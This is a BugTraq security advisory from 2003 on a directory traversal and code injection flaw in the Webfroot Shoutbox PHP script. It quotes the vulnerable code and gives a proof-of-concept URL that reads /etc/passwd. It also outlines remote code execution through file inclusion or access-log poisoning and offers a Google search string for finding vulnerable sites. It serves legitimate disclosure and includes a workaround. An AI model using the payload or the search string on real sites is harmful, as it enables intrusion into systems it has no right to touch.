BugTraq
Webfroot Shoutbox 2.32 directory traversal and code injection. May 29 2003 03:52AM
pokleyzz (pokleyzz scan-associates net)
Products: Webfroot Shoutbox v 2.32 and below (http://shoutbox.sf.net)
Date: 09 May 2003
Author: pokleyzz <pokleyzz_at_scan-associates.net>
Contributors: sk_at_scan-associates.net
shaharil_at_scan-associates.net
munir_at_scan-associates.net
URL: http://www.scan-associates.net

Summary: Webfroot Shoutbox 2.32 and below directory traversal and code injection.

Description
===========
Webfroot Shoutbox is PHP script released under the GPL. Also known as a tagboard
or a blabbox, shoutboxes allow visitors to your website to leave messages to
other visitors quickly and easily.

Details
=======
User can view any readable file on system where webfroot shoutbox is running using
$conf variable.

i) Shoutbox v2.32

shoutbox.php line 43
-------------------------------------------------------------------
if (!isset($conf)) {
$conf="shoutboxconf.php";
} else {
# michel v was there
$conf = str_replace(':', '', $conf); // hi cross-site scripting, bye cross-site scripting
$conf = str_replace('%3a', '', $conf); // hi cross-site scripting, bye cross-site scripting
}

require_once ($conf);
-------------------------------------------------------------------

ii) Shoutbox v2.31

shoutbox.php line 43
-------------------------------------------------------------------
if (!isset($conf)) {
$conf="shoutboxconf.php";
}

require_once ($conf);
--------------------------------------------------------------------

Proof of concept
================

a) View any readable file
http://blablabla.com/shoutbox.php?conf=../../../../../../../etc/passwd

b) Remote command execution
i) for version 2.31 user can remotely include file.
ii) version 2.32 user can use apache access_log to include php code
[see attachment]

Workaround
==========
Append to line 48 of shoutbox.php
$conf = str_replace('./', '', $conf); // to avoid directory traversal

Tips
====
Search for ":: Shoutbox" at www.google.com can easily identify vulnerable site (129,000 result)

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